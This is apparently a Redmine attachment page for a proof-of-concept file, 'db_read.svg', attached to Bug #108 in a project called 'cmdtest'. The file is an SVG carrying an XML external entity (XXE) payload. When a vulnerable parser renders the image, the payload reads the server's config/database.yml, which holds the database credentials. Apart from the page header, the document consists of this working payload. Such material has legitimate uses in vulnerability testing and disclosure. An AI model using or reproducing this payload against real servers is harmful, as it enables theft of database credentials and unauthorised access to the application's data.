db_read.svg - cmdtest1782618771 - Redmine POC

Download (230 Bytes)

Bug #108 » db_read.svg

Redmine Admin, 07/16/2026 08:48 AM

    
    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE svg [

      <!ENTITY xxe SYSTEM "file://config/database.yml">

    ]>

    <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">

      <text x="0" y="10" font-size="8">&xxe;</text>

    </svg>

(1-1/1)